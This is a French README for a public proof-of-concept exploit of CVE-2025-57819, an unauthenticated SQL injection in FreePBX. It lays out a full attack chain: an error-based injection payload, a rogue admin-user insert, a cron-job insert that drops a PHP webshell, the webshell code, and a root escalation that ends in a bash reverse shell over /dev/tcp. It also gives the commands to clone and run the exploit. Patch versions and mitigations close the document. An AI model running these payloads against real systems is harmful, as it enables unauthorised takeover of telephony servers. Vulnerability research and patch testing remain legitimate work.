
CVE-2025-57819 FreePBX SQLi RCE PoC
Usage éducatif et recherche en sécurité uniquement - Voir l'avis juridique ci-dessous
Preuve de concept d'exploitation pour CVE-2025-57819, une vulnérabilité critique d'injection SQL non authentifiée dans FreePBX permettant l'exécution de code à distance. Ce PoC est publié après la publication des correctifs officiels à des fins exclusives de recherche en sécurité et de tests autorisés.
Les versions 15.x, 16.x et 17.x de FreePBX (antérieures aux versions corrigées) sont vulnérables à une injection SQL non authentifiée dans le gestionnaire AJAX du module endpoint. Cette chaîne de vulnérabilité permet :
GET /admin/ajax.php?brand=<PAYLOAD>
Le paramètre brand du gestionnaire AJAX du module endpoint accepte les entrées utilisateur sans validation, ce qui conduit à une injection SQL basée sur les erreurs.
Vérifiez l'injection SQL à l'aide de l'extraction basée sur les erreurs EXTRACTVALUE() pour divulguer le nom de la base de données :
x' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e))-- -
Insérez un nouvel utilisateur administratif dans asterisk.ampusers :
INSERT INTO ampusers (username, password_hash, admin)
VALUES ('pbx_xxxxxxxx', '<MD5_HASH>', 1)
Avec des identifiants administrateur valides, l'exploit s'authentifie auprès de FreePBX et établit une session authentifiée. Les cookies de session sont enregistrés et utilisés pour toutes les requêtes authentifiées suivantes.
Injectez la commande du webshell dans asterisk.cron_jobs :
INSERT INTO cron_jobs (modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES ('sysadmin', 'wx', 'echo <BASE64_WEBSHELL>|base64 -d >/var/www/html/shell.php', NULL, '* * * * *', 30, 1, 1)
L'exécuteur cron de FreePBX exécute la commande en tant qu'utilisateur asterisk, déposant ainsi le webshell PHP.
Le webshell PHP est déployé dans /var/www/html/shell.php :
<?php system($_GET['cmd']); ?>
L'exploit interroge le webshell jusqu'à son activation, obtenant ainsi une RCE en tant qu'utilisateur asterisk (uid=999).
Si incron est configuré sur la cible :
/var/spool/asterisk/incron/incrond (exécuté en tant que root) détecte la création du fichier/usr/bin/sysadmin_manager avec le nom du fichier déclencheursysadmin_manager valide la signature GPG et transmet au hook fwconsole-commands/usr/sbin/fwconsole <COMMAND>help; bash -i >& /dev/tcp/LHOST/LPORT 0>&1Résultat : shell root sur le listener reverse (si incron est disponible).
brandasterisk.cron_jobs inscriptible exécute des commandes en tant qu'asteriskgit clone https://github.com/JazzTheRabbit/cve-2025-57819.git
cd cve-2025-57819
pip3 install requests
chmod +x JTR-CVE-2025-57819.py
# Setup Netcat Listener
nc -lvnp <Listener Port>
# Run The Exploit
python3 JTR-CVE-2025-57819.py <TARGET_IP> <YOUR_IP> <PORT>

Immédiat :
/admin/ajax.php depuis les réseaux non fiablessystemctl disable incrondDéfinitif : Mettez à niveau vers les versions corrigées : 15.0.66+, 16.0.89+ ou 17.0.3+
⚠️ AVIS DE NON-RESPONSABILITÉ
Cette preuve de concept est fournie UNIQUEMENT À DES FINS DE TESTS DE SÉCURITÉ AUTORISÉS ET D'ÉDUCATION. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil.
VOUS DEVEZ RESPECTER :
UTILISATIONS INTERDITES :
EXONÉRATION DE RESPONSABILITÉ : L'auteur n'est pas responsable de :
Cette vulnérabilité est :
JazzTheRabbit
Licence MIT
| ID CVE | CVE-2025-57819 |
| Type | Injection SQL non authentifiée (basée sur les erreurs) |
| CVSS | 9.8 / 10.0 (Critique) |
| Versions affectées | FreePBX 15 < 15.0.66, 16 < 16.0.89, 17 < 17.0.3 |
| Versions corrigées | 15.0.66, 16.0.89, 17.0.3+ |
| CISA KEV | Oui (29 août 2025) |
| Version | Statut |
|---|
| 15.0.0 - 15.0.65 | Vulnérable |
| 15.0.66+ | Corrigé |
| 16.0.0 - 16.0.88 | Vulnérable |
| 16.0.89+ | Corrigé |
| 17.0.0 - 17.0.2 | Vulnérable |
| 17.0.3+ | Corrigé |